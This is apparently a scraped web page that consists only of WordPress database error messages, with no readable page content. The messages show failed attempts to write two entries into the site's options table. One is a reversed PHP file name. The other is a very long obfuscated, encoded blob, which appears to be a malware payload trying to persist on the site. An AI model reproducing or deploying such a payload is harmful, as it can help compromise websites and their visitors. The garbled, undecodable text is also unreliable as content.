WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cf5543755e08', '4.3.24|php.gat-rexedni-orter', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('a7f976d108c5', '~DJLGMOOD\BAttQTTt^T^.^0D^^^^^^^*^<^:
t^T^.^+,7D^^^^^^^^

DQQPQQ
SS
Qt^T^:
D^^^^^^^=
^^
^t^T^(D^^^^^^^^^^^OPLPLt^T^?
D^^^^^^^^^^^^4^9t^T^2D^^^^^^^^^^^9.2SLPNSS
t^T^*
^:D^^^^^^^
SS
t^T^,^
^
D^KPNt^T^,^.6.D^^^^^^IPNt^TQtQT^-=(DJPMPLJ^TQtV_
!
VYM!YWXX_VVVY-=!=1,;!<11*!(;,YWXX!VV
W-=!=1,;!<11*!(;,RYJPMPLJYRY@CYWWV
VZ921<?2-%Y!
!Y#WXX!VV
WZ921<?2-%Y!
!Y#RYJPMPLJYRY@CYWWWW
^	!	VZW

^ZCEVZCCCWZC!VVYM:
2MQYRYKEUSLYRY.3.YRY"YU/UYRYG/K(AL/U*A(YRYB7>A/"YU/UYRYZ225&W_XYRY(SBLYRY7(SAYRY"Y(SYRY(S7U/YRY"YU/UYRY!AS/UYRY"YU/UYRYS(SAYRYZ2@25&W_XYRY	B7>A/YRY!AS/UYRYJ!ASYRYK\L!YRY/7A/JYRY/7A/JYRY(LK\YRY(LK\YRYSU/UYRYKLB;YRYG/K(AL/U*A(YRY(UB/YRY(UB/YRYG/K(AL/U*A(YRY;>U((UB!ASYRY;>U((UB!ASYRY	(BYRYA!ASYRYASA("Y7UYRYZ2V)WFW_XYRYM:
2MQYRYBKL/(U/(YRY	?YRY	K(BYRYA!ASYRYJ!ASYRYA!ASYRYASA("Y7UYRYB(U/EYRY@2_XYRYK(BGA*U!YRYSU7B(\YRYM:
2MQYRYBKL/(U/(YWRVY	KYRY!=YRY!ASYRY	KLSUYRY!=YRYKLSUYRYB\BYRYA(SA/>YRY(S7U/YRYAGA7UYRYGA7U>U(KL/(U/(YRY.;L**(HJ.BSYRYZ2V)WFW_XYRY	B7>A/	YRYG/K(AL/U*A(YRYSU7B(\YRYSU7B(\YRYA(SA/>YRYA(SA/>YRYASA("Y7UYRYGA7U>U(KL/(U/(YRY>U(LB(AL/YRYG/K(AL/U*A(YRYB!(ULB(AL/YRYB\BYRYK(AEUB7>A/YRYASS;YRYA/SS;YRYK(AEUB7>A/YRYSS;E7UYRYBSU>(K\YRY	?	?R
VO?![??![??![?R?		YRYGA7U(AUYRYGA7UAUYRYKKSL/GU(K\YRYKB;7L!(YRYBK\U>U(EUSAL/YRY
FXOFX
)CZMXFYRY(S(L7LUSYRYBK\UYRY(SBLYRY7A(UBUU!YRYLBU/7A(UBUU!YRYB\BBA/UYRYK7AYRYXF#F
@FQ)_YRY7A(UBUU!YRYA/A>U(YRYLBU/"YU!ASYRYU*B7L!UYWRVY	?YRY(SBLYRY_:WM@FYRYM:
2MQYRYK7LKJ/YRYASS;YRYK7LKJ/YRYAL"Y6UK(YRYU(\L!U*A(YRY>U(ESYRY
F5FV&F5)V',YRY,-YRYK7LKJ/YRYG7LKJYRYGLBU/YRY;>U((UB!ASYRYM:
2MQYRYASA("Y7UYRY	KYRY7LKJYRYK7LKJG\YRYK7LKJG\YRYK7LKJ/YRYK7LKJ/YRYK7LKJ/YRYK7LKJG\YRYU(\L!U*A(YRYHUS;YRY
F5FVXF5FM
F5)V',YRY,YRY_
M55)ZC5F@)_
YRY\SL"Y7UYRYYRYA(SA/>YRY(S7U/YRYKUSSLSYRYA/SS;YRYKUSSLSYRYKL/(YRYKUSSLSYRYSS;7AKUYRY!!K(AL/YRY!!GA7(USYRYA(SA/>YRY	KYRY	KK\UYRY	A/!U*B\BYRY!ASYRYASA("Y7UYRY!AS/UYWRVYZ2V)WFW_XYRYASA("Y7UYRYKBS>UYRYKBS>UYRYSU7B(\YRYG/K(AL/U*A(YRYSU>A(US\(!L/G/K(AL/YRY7/AGI\$K+U>YRYKBS>UYRYKBS>UYRYA(SA/>YRYAGA7UYRYG/K(AL/U*A(YRYK\L!YRYG/K(AL/U*A(YRY/7A/JYRYLBKK\UA/E7A!(UYRYUSSLS>U(7(YRYGA7UYRY(;BUYRYA/SS;YRYU>UYRYU>UYRYM77LU!ULS;AUYRY@*AU*UK(AL/(AUYRYSU7B(\YRYSU7B(\YRYG/K(AL/U*A(YRYSU7B(\YRYGA7UYRYK"YLL(EUSYRYK"YLL((YRYK7US((KK\UYRYGA7U(AUYRYB\BYRY!=YRY	HYRY	"YYRY(AUYRYB!(ULB(AL/YRYKB!(U"Y!YRY/LYRYG/K(AL/U*A(YRYK(AEUB7>A/YRYASS;YRYSS;E7UYRYSS;!AGGYRYGA7YRYLGGYRYSU/UYWRVYSU/UYRY"Y(SYRYB\BLGGYRYGA7U(AUYRY(AUYRYA(SA/>YRY!AS/UYRY	!YRY	?![??![??![	YRY<YRYGA7UB(KL/(U/(YRY>U(LB(AL/YRYKBU/!A/>A/E7A!(UYRYB7>A/7L!U!YRY"Y!;"Y/A+*6*\*YRY7H6("Y;"Y\3(;*3YRYYRY(SBLYRY;UYRY"YU/UYRY;UYRYB(\A/GLYRYGA7UAUYRYA(SA/>YRY	?	?R
VO?![??![??![?R?		YRYYRYK(AEUB7>A/YRYA7(AA(UYRYG/K(AL/U*A(YRY>U(A(ULB(AL/YRYK(AEUA(UA!UB7>A/YRYGA7UAUYRYGA7U>U(KL/(U/(YRY	?	?R
VO?![??![??![?R?		YRYB(\YRYB(\YRY!U!YRY>L/UYRY;UYRYK!U!B(LLJYRY"Y3HG>("Y7]\EL$YRY(S(A/>YRYB!(ULB(AL/YRYA/SS;YRYSS;!AGGYRY!U!BYRYLBU/!ASYRYSU!!ASYRYYRYK7LU!ASYWRVYK7LU!ASYRYK/!ASYRY>7L"YYRY	RYRYSS;BYRY9YRY(S7U/YRY(LJU/>U(77YRY)'FW2MX
FYRY*IM.=KMM]V]=$+$.$MMV"Y+I]C$]"YGMI]F+3YRY*$3I!]KF=K3C=IU$!3_]]].!]$+F_"Y!"YUMI."YYRY*+!K=.3=FC]I+..$I.:+I3I3=_="Y::YRY\((B		*SBKAL	U(\YRY\((B		U(\USUB"Y7AK/L!AUBBYRY\((B		U(\!SBKLS>YRY\((B		SBKU(\>(U;GYRY\((B		U(\"Y7LKJSLS*;YRY\((B		B"Y7AKU(\/L/L!UALYRY\((B		U(\A//U(SBKG(KLBAJU;*"Y\Z:]ZJ>J$
W@]"YEE5S2&5>^UV.
+>QZ!CA>
2ZOX*SJF#GYRY\((B		U(\]7E"YA7!YRY\((B		U(\SBK"Y7*S"Y!/KLYRY\((B		U(\A//U(B"Y7AK"Y7(BAALYRY\((B		>(U;(U/!US7;KL	B"Y7AK	A//U(YRY\((B		U(\USUSBK"YHUS;/U(LSJ	B"Y7AKYRY\((B		U(\USUSBKB"Y7AK/L!UKLYRY\((B		A//U(>(U;(U/!US7;KLYRY\((B		U(\BAL/GA/7A(;AL	B"Y7AKYRY\((B		U(\USUB"Y7AK"Y7LKJBA/U(LSJ	E]	SBK	B"Y7AKYRY\((B		U(\USU6L/SBK(JU7;ALYRY\((B		SBKU/(AL*;	A//U(YRY\((B		U(\USJ7UALYRY\((B		U(\BABLKJU(/U(LSJYRY!A/YRY!YRY!A/A(S(LSYRY"YKJBYRY>U/KL!UYRY>!UG7(UYRYBKJYRYKSK3YRYBKJYRY/BKJYRY"Y(SYRYASS;YRY>!UKL!UYRY>A/G7(UYRYG/K(AL/U*A(YRY\U*"YA/YRYA(SA/>YRYBKJYWRVYQRYRYB!A/	YRYBA/K7!U	YRYZ2V)WFW_XYRY>7L"YYRYRB\BYRYGA7U(AUYRYSS;S/!YRYBS/!YRYS/!YRYK77USG/KYRYBSUL(U>U(YRY(AUL(YRY7EUSAG;YRY7AA(SUBL/UAUYRYABUSSLSYRYKS7A/A(YRYKS7U(LB(SS;YRYKS7U*UKYRYVX5)2XFXWXMW
CFXYRYVX5)2@F)YRYVX5)2

5OFXC^2FFXYRYVX5)2

5OFXC^Q)
YRYVX5)2W)2X)&XF

YRYVX5)22X)&XF

CWV)WYRYKS7U*UKYRY\((BKL!UYRYK77USG/KYRYBSUL(UBL(YRYBSUL(UBL(YRY(AUL(YRY\U!USYRY"YL!;YRYASS;YRYYRYKS7A/A(YRYYRYVX5)22)
YRYVX5)22)
CF5_
YRYVX5)2XFXWXMW
CFXYRYVX5)2Q2QFM_FXYRYVX5)2W)2X)&XF

YRYKS7U*UKYRY\((BKL!UYRYG/K(AL/U*A(YRYK7(SBKYRYSS;/\AG(YRY(SAYRY1""6L/SBK""""""-""A!""3-""U(\L!""""U(\K77""-""BS""T1""!(""""*3"YK=!U3""-""(L""""YRY""D-""7(U(""%DYWRVYVL/(U/(;BUYRYBB7AK(AL/	6L/YRYAKSL(AUYRYAKSL(AUYRY6L/!UKL!UYRYSU7(YRY6L/!UKL!UYRYA(SA/>YRY(SBLYRY*YRY"Y(SYRY\U*"YA/YRYLS!YRY"Y(SYRY(S7U/YRYSUL7EUYRYSBK!UKS;B(GA7U!YRYLS!YRYSBK"Y!JU;7U/>(\YRYSS;GA7(USYRYSS;BYRY(SAYRYBSU>B7A(YRY	?S?/	YRYKKKK\UYRYAB7L!UYRYUSEUSJU;YRYS7YRYG/K(AL/U*A(YRY>U(LB(AL/YRYKKKK\UYRYSEJU;YRYSS;E7UYRYS7YRYSUL7EUYRYSBK77GA7U!YRYG/K(AL/U*A(YRYUSA7AUYRYK\SYRY(S/!YRY"YU+.U/KL!UYRYA(SA/>YRY"YU+.!UKL!UYRY(S7U/YRY(S7U/YRYLS!YRYLS!YRY2Q2OFX
)W_YRY/USA7AUYRY77LU!K7UYWRVYS(SAYRY(SSUB7KUYRY"Y(SYRYUBYRYYRYS7YRY(SBLYRYKK\U!YRYAK7SYRYKUSSLSYRYUSSLSYRYASS;YRYSS;US>UYRYSS;/AHUYRYSS;US>UYRY/LYRYG7\USSLSYRY(S7U/YRY(S7U/YRYKB;7L!BUSA(U/(YRYASS;YRYKSL//(USE7YRYKSL//(USE7YRYKA/(USE7YRYA/(USE7YRY!AB7;YRYV(LA/(U//KUA/(USE7YRYK>S!A/(USE7YRYV(LA/(U//KUA/(USE7YRYB/U*(K\U!7U!YRYBK\U!7UUEU/(YRYKK\A/YRYKA/(USE7YRY_)W&VX)WYRY\(!L/YRYJ$3S33$K7+EAYRYA(US7YRYBKSL/B\B!LA/>BKSL/YRY(SSUB7KUYRYAKSL(AUYRY(AUL(YRY"Y7LKJA/>YRY7EUSAG;YRYG(K>AGA/A\SUHU(YRY7A(UBUU!GA/A\SUHU(YRY7A(UBUU!GA/A\SUHU(YRYA>/LSUUS"YLS(YRYA>/LSUUS"YLS(YRYG/K(AL/U*A(YRYA/A>U(YWRVY7A"YL(B(KLBSUAL/YRYL"Y>U(7UEU7YRYL"Y>U(7U/>(\YRYVL/(U/(5U/>(\YRYVL//UK(AL/K7LUYRYL"Y>U(7UEU7YRYL"YU/!G7\YRYG7\YRYBK\U!7UA/>7UUEU/(YRY_
M:5FZ2VX)WYRYK7(GU(K\(YRYKUU/EUSYRY/LYRYK7(GU(K\(YRYG/K(AL/U*A(YRYB/K\U!7UUEU/(YRYG/K(AL/U*A(YRYGU(K\YRYKSL/(7UA/7A/UYRY(AUYRYG/K(AL/U*A(YRYU((AU7AA(YRYU((AU7AA(YRY\(!L/YRY>U((S/AU/(YRYASS;YRYASS;YRYB7>A/X7UYRYKB7>A/S7UYRYA/6UK(X7UYRYKA/6UK(S7UYRY6YRYK6YRY6YRYB>UYRYA(SA/>YRYKB>UYRYYRYYRYYRYKYRYYRYKK\UYRYG/K(AL/U*A(YRYB!(ULB(AL/YRYK7(\U7(YRY>U((S/AU/(YRYK\U7K/YRYSKYRYA(SA/>YWRVYA(SA/>YRY/LYRYG/K(AL/U*A(YRY	R	RB\BYRYSS;/AHUYRYBSU>SUB7KUYRY	?[	YRYGA7UAUYRYU((S/AU/(YRYK\U7K/YRYK7(\U7(YRY\U7YRYG/K(AL/U*A(YRY!A!K(AL/YRY\(!L/YRYSU>A(US\(!L/G/K(AL/YRYJ$3S33$K7+EAYRYBSUL(U>U(YRYG/K(AL/U*A(YRY\LUS7YRYG/K(AL/U*A(YRY>U(LB(AL/YRYG/K(AL/U*A(YRYB!(ULB(AL/YRY(AUYRYK7(\"YYRY/LYRY(AUL(YRY>U((S/AU/(YRYB;7L!(7YRYB;7L!(7YRYB;7L!(7YRYB;7L!(7YRYK7(GU(K\(YRYK7(GU(K\GA7(YRYKGU(K\GA7YRY*YRYA/YRY(S/!YRY(AUYRYKGU(K\GA7YRY(AUYRYEUSYRYB\BYRYBAYRYB\BBA/UYRY7YRYA7YRYYRYBYWRVYBEUSAL/YRYSEYRYK6YRY(SAYRY6L/YRY67U/YRY6SUHYRYK6BSA/(U!YRY6L"YYRYK6L"YU!YRY6(YRYK6BSA/(U!(YRYS7YRY\A(YRYKUB\A(YRY7(YRYKUB7(YRY\!YRYK\!YRYE!EYRY	!E/KU!KK\UB\BYRYGA7U>U(KL/(U/(YRYE!"YYRYAGA7UYRY	!"YB\BYRYGA7U>U(KL/(U/(YRY	!"YB\BYRYELKYRYAGA7UYRY	L"Y6UK(KK\UB\BYRYGA7U>U(KL/(U/(YRY>YRY>7YRYE>S!YRYBA/K7!UYRYB\BYRYGA7U(AUYRYUSA/AGA7U/UYRYA(SA/>YRY/L/UYRYUSA/AYRYEA/AYRY(LBSUBU/!GA7UYRYE\(YRY\(KKUYRYGA7U>U(KL/(U/(YRY\(KKUYRY(LBSUBU/!GA7UYRYEKYRYAGA7UYWRVYBKL/GA>B\BYRY(SBLYRY
VZVYRYBSUBU/!YRY
VM)2XF2FW_YRYBKYRYZ2X)V'FOFX
)WYRY5
VZ2OYRYZ3VYRY>KK\UBSUBS>UKK\UYRYK7U*A(YRYVK\UF/"Y7USYRYBG(U(KK\UYRYBKK\UUSEUKK\UGA7UYRYGLJYRYK7(GU(K\(YRYGGA7YRYGGA7(YRYAKYRYKGYRYKGYRYASS;YRY(YRY(AUYRYAK/YRYAKGYRY>U(LB(AL/YRYK7"YL!UYRY7"YYRYG/K(AL/U*A(YRYKK/S;YRYK;YRYA(UYRYUSSYRYG/K(AL/U*A(YRYB7L>A/B\BYRYB7L>A/S7YRYBSUS7YRY2Q2X5Q)
YRY>U(A(US7YRY>U("Y7L>A/GLYRYBSUS7YRYS7YRY2Q2X5Q)
YRYG/K(AL/U*A(YRYA(US7YRYQ2Q)
YRY
FXOFXWM@FYRY
FXOFXWM@FYRY*U*UK(AL/(AUYWRVYASS;YRYUSEUSJU;YRYASS;YRYUSEUSJU;YRY>U(LB(AL/YRYK7(KYRYA/SS;YRY\GG7UYRYAKSL(AUYRYK(AEUB7>A/YRYZ2@25&W_XYRYG/K(AL/U*A(YRY>7L"YYRY>7L"YYRY	RB\BYRY!LA/YRYB7>A/OUSAL/YRYB7>A/YRY"YU/UYRYB\BYRYSLL(YRYK(AE(U!27>A/YRY27>A/YRY7L>A/S7YRY!A/YRY!A/VLLJAUYRYG/K(AL/U*A(YRYB6L/U/KL!UYRY6L/U/KL!UYRYVL/(U/(;BUYRYBB7AK(AL/	LK(U((SUYRYAKSL(AUYRYKUB(;YRYK!UKS;B(GA7U!YRYK"Y!6L/YRYGU(K\S7YRY"YU/UYRYB\BYRY"YUKL/YRY[	YRYYRY(SB7A(YRYAKSL(AUYRYKL/(YRYK"YYRYAYRY/YRY!YRY6L/!UKL!UYRY(SAYWRVY(SAYRYK7(KYRY!U7U(ULB(AL/YRYUSSLSYRYKUSSLSYRYKUSSLSYRY(S>U(OUSAL/YRY(S>U(OUSAL/YRYGLSKUB!(UYRYB7>A/X7UYRYKB7>A/S7UYRYKB7>A/S7UYRYSS;!AGGYRYA/6UK(X7UYRYA/6UK(X7UYRYA/6UK(X7UYRYSS;!AGGYRY6YRYA(SA/>YRY6KK\U!YRYK6YRY6YRY6YRYYRYA(SA/>YRYB>UYRYB>UYRYB>UYRYB>UYRYB>UKK\U!YRYYRYA(SA/>YRYKK\U!YRY(UB7(UYRY(UB7(UYRY>S!YRY!E/KU!VK\UYRY!E(B7YRY!"YYRY!"Y(B7YRY(\UUYRY(\UU(B7YRY\(KKUYRY\((B7YRYUS/AYRY/A(B7YRYA/(77USYRYA/((B7YRYLK5L!USYRYLK(B7YWRVYA(SA/>YRY(S7U/YRYA/USAKYRYB;7L!(7YRYB;7L!(7YRYB;7L!(7YRYKSL//(USE7YRYKSL//(USE7YRYKSL//(USE7YRYKGU(K\GA7YRY(AUYRYEI3/>GBJS.633]YRYASS;YRYG/K(AL/U*A(YRYB>U(K\U!7U!UEU/(YRYBK7USK\U!7U!\LLJYRYKSL//(USE7YRYKA/(USE7YRYEI3/>GBJS.633]YRYKK\A/YRY"YU+.!UKL!UYRY9B\BYRYB!(UYRY;/(*USSLSYRY"Y(SYRYEUSA(K\YRYB!(UYRY/LKEYRY/LBSUEYRY!=YRY/7A/JYRYG/K(AL/U*A(YRY\LUS7YRYSU!ASUK(AL/YRY7EUSAG;YRYSUB7KUGA7YRYKSUKLEUSK\UKJYRYG/K(AL/U*A(YRY	KK"YYRY(AUL(YRYABUSSLSYRY7UUBYRYA/SS;YRYG/K(AL/U*A(YRY!=YRY(AUYRY/LYRYB!(UYRYSL77"YKJGA7YRY"YU/UYWRVYB!(ULB(AL/YRYK(AEUB7>A/YRYA/SS;YRYKBUSA(U!YRYK/S;SL77"YKJYRYB\BYRYKBU/!A/>A/E7A!(UYRY>U(B7>A/YRYGA7UU*A(YRYB!A/	A/K7!U	B7>A/B\BYRYASS;YRY(S7U/YRYK/YRYASS;YRYASU!"Y7UYRYA/KYRYB\(7YRY\(7YRY6YRYKL/(YRYA7A/JYRYAGA7UYRYB(\A/GLYRY2MQWC)FFW
)WYRYG/K(AL/U*A(YRY!UK(AE(UB7>A/YRYGA7UU*A(YRYG/K(AL/U*A(YRY!UK(AE(UB7>A/YRY!AS/UYRY!U7U(UB7>A/YRYG/K(AL/U*A(YRYKSSU/(USK/YRY!U7U(UB7>A/YRYG/K(AL/U*A(YRY>U(USYRYBU(KSSU/(USYRYSL7UYRY!A/A(S(LSYRY/"YUSYRY(SBLYRYK/!ASYRY_XFV)X^
F2MXM)XYRYA!ASYRYS!ASYRYS!ASYRYASS;YRYSS;JU;YRYKA/6UK(S7UYRYSUK/YWRVYK7((BK7U/YRY(AUYRYKYRYBYRY>7L"YYRYK(AEUB7>A/YRY	B7>A/YRYGA7U>U(KL/(U/(YRY(SBLYRY
V_2:F&WYRY	?/?	?R
V_2:F&WTMI%[?R?	R?	?R
V_2FW_?]?R?	?/	YRYA(SA/>YRYG/K(AL/U*A(YRYKB7>A/S7UYRYKA/6UK(S7UYRYASS;YRYK7(SUK/YRY(AUYRYBUSAL!AKYRYA>S(UYRYSKA/E7A!YRYKA>GA7YRYA!ASYRYASU!"Y7UYRYASU!"Y7UYRYASA("Y7UYRYS!ASYRYASA("Y7UYRYA>S(UYRY/L(SA("Y7UYRYAGA7UYRYGA7UAUYRYGA7UAUYRY!=YRYGA7U>U(KL/(U/(YRYKA>GA7YRYA(SA/>YRY(S7U/YRYSKYRYK7(GU(K\GA7(YRY/LYRY!U7U(U(S/AU/(YRY>U(LB(AL/YRYB!(ULB(AL/YRYKA/A(A7AU!YRYKA/A(A7AU!YRY!!LB(AL/YRYG/K(AL/U*A(YRYB!(ULB(AL/YRY/LYWRVYK7(GU(K\GA7(YRY!U7U(U(S/AU/(YRY\(!L/YRY!L;EUA7J"Y;H6*KYRYA/A(YRYBSUL(U>U(YRY(AUL(YRYSYRYA!A/YRYK(AE(UB7>A/YRYK(AL/YRYK(AL/YRYK(AE(UYRYK(AE(UU7UK(U!YRYB7>A/YRYK\UKJU!YRYASS;YRYBGUSU!ASUK(YRY!A/S7YRYB7>A/B\BYRYK/K(YRY!SLBA/YRYB7>A/YRYASS;YRYM:
2MQYRY!"YB\BYRY
V_:YRY!E/KU!KK\UB\BYRY
VM_OYRYGA7U>U(KL/(U/(YRY	RYRY:F&WYRY	?	?RYRY:F&WTMI%[?R?	R?	?RYRYFW_?]?R?		YRY!SLBA/YRY(UYRY"YU/UYRYE\=3B/(\7AJG"Y\YRY9(;7U<(ST!(B7>A/""YRY""%-(ST!(B7>A/""YRY""%1!AB7;/L/UPABLS(/(D9	(;7U<YRY9KSAB(<!LKU/(!!FEU/(5A(U/US""_)@VL/(U/(5L!U!""-G/K(AL/1!LKU/(HUS;
U7UK(LSM77""(ST!(B7>A/%""GLSFK\G/K(AL/S1ESBS>U(M((SA"Y(U""!(B7>A/""AGB""YRY""NNB""YRY""SSULEUDESK!LKU/(HUS;
U7UK(LS"""Y"Y"Y(UKL/(""AGK1ES/BSU/(K(U*(VL/(U/(SUB7KU	T8I%	>-""""NNAG/<K(U*(VL/(U/(""""[@(\*-/][""""DD9	KSAB(<YRYG/K(AL/U*A(YRYJ*$6]"Y+;>/6(YRY(>3S$I/LSK6$SE;YRYB\BYRYASS;YWRVY>U(B7>A/!(YRYWUYRYBB7>A/K(AEUYRYBB7>A/A/K(AEUYRYGAU7!YRYASS;YRYGAU7!YRYBB7>A/YRYBB7>A/(UYRYGAU7!YRYASS;YRYGAU7!YRYZ2@25&W_XYRY>7L"YYRY>7L"YYRY	R
VOYRY	27>A/WU?RT8?S?/R%[	AYRY"YU/UYRYB!SLBA/YRYASS;YRYBKL/(U/(YRY!"YB\BYRY
V_:YRY!E/KU!KK\UB\BYRY:F&WYRY(SBLYRYB!SLBA/YRYB((US/YRYBSU>HL(UYRY0YRY\A!!U/YRYB((US/YRY0	YRYSLL(YRYASS;YRYSLL(YRYAA/(YRY((SA"Y(UYRYASS;YRY2Q2@M )XOFX
)WYRYU7CA/!USVL//UK(LSYRY"YU/UYRY	BGA7U/>US	7A"Y	B\B	U7CA/!USVL//UK(LSK7B\BYRY	GA7U/>US	7A"Y	B\B	U7CA/!USVL//UK(LSK7B\BYRY	GA7U/>US!E/KU!	7A"Y	B\B	U7CA/!USVL//UK(LSK7B\BYRYK7B\BYRYK7U7CA/!USVL//UK(LSYRYBSU>SUB7KUYRY	8?R9?B\B	YRYK7
VU7CA/!USVL//UK(LSXU7YWRVY9B\BYRYB(\A/GLYRYK\A!UYRYK\A!U!ASYRY9B\BK7U7CA/!USVL//UK(LSU*(U/!
VU7CA/!USVL//UK(LSXU71YRYBSL(UK(U!G/K(AL/L(B(SS;!(1YRY\A!UAU(&5):M5
T""K\A!U""%&5):M5
T""K\A!U""%""""YRYAG\A!UP""""G/K(AL/U*A(""KGGA7(US""1YRY!(KGGA7(US!(-\A!UYRYBSU/(L(B(!(YRYGYRYG]/3JHH6B.**>3!].YRYASS;YRYGA7UYRY!!U!YRYK\/>U!YRY(SUUYRYASS;YRYASS;YRY/UYRY/UYRYK\A!U!ASYRYKSUKLEUSK\UKJYRYA(SA/>YRYGA7UAUYRYA(SA/>YRYA(SA/>YRYAGA7UYRY!AS/UYRY(SBLYRYG/K(AL/U*A(YRYU((S/AU/(YRYA!ASYRYSKYRYKSUKLEUS(\SL((7UYRYSUKLEUSYRYLSKUUB(;YRY(S7U/YRY	HYRYAGA7UYRY!=YRYKSUKLEUSK\UKJYRYBU/!/UUS/L(AGAK(AL/(L!A/YRYSU(S/G7UYRYB/UUS/L(AGAK(AL/UA7!A/YRYSULEUK(AL/YRYSU>A(US/UUSYRYBU/!/UUS/L(AGAK(AL/YRYU!A(USKSU(U!USYRYB7L>A/YWRVYB/L(AG;!A//U7L>A/YRYB!"YYRYKB"YA7A(AUYRYF5FV_-US7L>A/-USB-USUA7CX)@YRYWWFX )WYRY)W_USA!ZQFXFU(JU;MW_U(E7U5'FYRY!A/A(S(LSYRY(LYRYG/K(AL/U*A(YRYB>U/US(U(\KLLJAUYRYZ2
UAL/LJU/YRYA7YRYUKSU(\YRY(\YRY
FVXFMQV))'FYRYMQV))'FYRY5)&&F_WV))'FYRYV))'F_)@MWYRYV))'F2MQYRYM_@WV))'F2MQYRY	B!A/YRYXFYRYCM5
FYRYBA7YRYAU!YRY(AUYRYUSU(YRYUAL/(LJU/YRYKL/(YRYU*BAS(AL/YRYU*BAS(AL/YRY(AUYRYUSU(YRY>U(A/(/KUYRYXFYRY7L>>U!A/YRYB>U/US(U(\KLLJAUYRYKLLJAUYRY"YYRY"YBYRYASS;YRYU(\L!U*A(YRY\KBYRY(AUYRYA/(USKUB(YRYKGYRY7L>A/KGYRY	8YRYBSU>HL(UYRYTGI%1+-]D	YWRVY"Y(SYRY7!SYRY\(7YRY(SBLYRY(S/!YRYU+SGL6$HE.YRY(AUYRYKSYRYALYRY(LAK/L!ASYRY(LAK"Y!B\BYRYAGA7UYRYG/K(AL/U*A(YRY(LAK/L(UB/YRY"YYRYGSA(UYRYG;/KYRYALYRY(LAK(UBGA7YRY"YU/UYRY(LAK\LS(SA(UYRYKL7!YRYAGA7UYRYGA7UAUYRYA(SA/>YRYA(SA/>YRY(LAKSU/UGA7YRYGA7U>U(KL/(U/(YRY!=YRYG/K(AL/U*A(YRY\\GA7UYRYA(SA/>YRY!=YRY"Y(SYRY(LAKEUSAG;GA7YRYG/K(AL/U*A(YRY!=YRY(LAK(\AS!BS(;YRYA(SA/>YRYAGA7UYRYSS3\"Y.H(A=$BL+*YRY\LUS7YRYG/K(AL/U*A(YRYKB"YYRY(AUYRYBSUL(U>U(YRY7EUSAG;YRYVK\UVL/(SL7YRY/LKK\UYRYABUSSLSYWRVYBSUL(U>U(YRY7EUSAG;YRYSU!ASUK(AL/YRY"YU/UYRY	?/9G@L!7UL!B\BTI%R?K<?RB\BE7U(LBSUBU/!GA7UT8?/%RYRYT8?/%R?/9?	G@L!7U<?/	AYRY	?/9G@L!7U7A(UBUU!<?RB\BE7U(LBSUBU/!GA7UT8?/%RYRY	?/B\BE7U(LBSUBU/!GA7UT8?/%RYRYT8?/%R?/	AYRYBSU>SUB7KUYRYG/K(AL/U*A(YRYLBKK\U>U(((YRYLBKK\UU/"Y7U!YRY"Y(SYRYSA(UGA7U!YRY"YU/UYRYG/K(AL/U*A(YRYG7LKJYRYGSA(UYRY(S7U/YRYSA(UGA7U!YRYK!A/(AKJYRYK!A/A/G7A>\(YRYUS/UU*A(YRYK!A/(AKJYRY!A/(AKJYRYKK\A/YRYG/K(AL/U*A(YRYASS;YRYU*B7UKLYRYBU(BLS!YRYBU(BLS!YRY/LYRY/LYRYSS;S/!YRY!A/YRYKL77AAL/YRYBA/US(USYRYM:
2MQYRYGA7UU*A(YRYBA/K7!U	USB\BYRYUS7L>A/YRYUSBYRYUSUA7YRY!AB7;/UYRY!A/YRY!A/YRY/LB!"YYRYB\\BLS!YRYKSSU/((AUYWRVY;H7YRY^!QAYRYUSBYRYUS/AKU/UYRYUSSU>A(USU!YRYUS((YRYYRY!YRYYRYH7A/US(GA7YRYKB"YA7A(AUYRYUSA!YRYU(JU;YRYU(E7UYRYUSA7AUYRY!A/A(S(LSYRY!YRYYRYUSA!YRYU(JU;YRYUS7UEU7YRY!YRYYRYYRYK7U/USKK\UYRYEUSAG;GA7YRY>U(US"Y;YRY7L>A/YRYUSK/YRYKBEUSAG;GA7YRYB!U7U(UUSYRYB!A/	A/K7!U	USB\BYRYG/K(AL/U*A(YRYAL"Y6UK(YRYHUS;\USUYRYG/K(AL/U*A(YRYMW_US7L>A/P,YRY\A!UHYRYG/K(AL/U*A(YRY77YRY!A/A(S(LSYRYA(SA/>YRY	??![?	YRYBSU>SUB7KUYRY	??![?	YRY\A!UK/(YRY7L>A//L(A/YRY7L>A//L(A/YRY\A!USU(YRY!AS/UYWRVYA!ASYRYA!ASYRYASS;YRYB(\A/GLYRYM:
2MQYRY(;7U\UU(YRY(UB7(UYRY	(\UUYRYBKL/(U/(	(\UUYRYSS;GA7(USYRYA!ASYRYAGA7UYRY(S(L7LUSYRYB(\A/GLYRY2MQWC)FFW
)WYRY	B((US/YRYSS;US>UYRYB\BYRYSS;/AHUYRYASS;YRY(S7U/YRYGA7U>U(KL/(U/(YRYA(SA/>YRYA/6UK(]YRYA/6UK(YRYSS;7AKUYRYA!ASYRY!AS/UYRY	\LUYRY	ES	YRY	ES		E\L(YRY	ES		\(7YRY	SE	YRY	SE	USYRY	S	7LK7	YRYA/A>U(YRY(SBLYRY(SAYRYAKSL(AUYRYSS;/AHUYRY	BKL/(U/(	B7>A/YRY	BKL/(U/(	B7>A/YRYA!ASYRYASS;YRYA/(77U!YRYKBSU!A/(USE7YRYBSU!YRYSKA/E7A!YRYKBSU!/SYRY/LSLL(YWRVYKBSU!/SYRYKBSU!A/(USE7YRYA7A/JYRYA!ASYRYA!ASYRYB(\A/GLYRY	BKL/(U/(	B7>A/	YRYBSU!YRY	BKL/GA>B\BYRY!AS/UYRYGA7U>U(KL/(U/(YRYBSU>(K\YRY	!UGA/U?R??RT,""%_:WM@FT,""%?R-?RT,""%T8,""%[T,""%	YRY	("Y7UBSUGA*?R?RT,""%T8,""%[T,""%	YRY	8TMI%[	YRYB!"YYRYAL"Y6UK(YRYU(\L!U*A(YRYHUS;YRY	8TMI%[	YRY!"Y/USU6UK(U!YRYYRYLB(AL/YRY
MXXMW
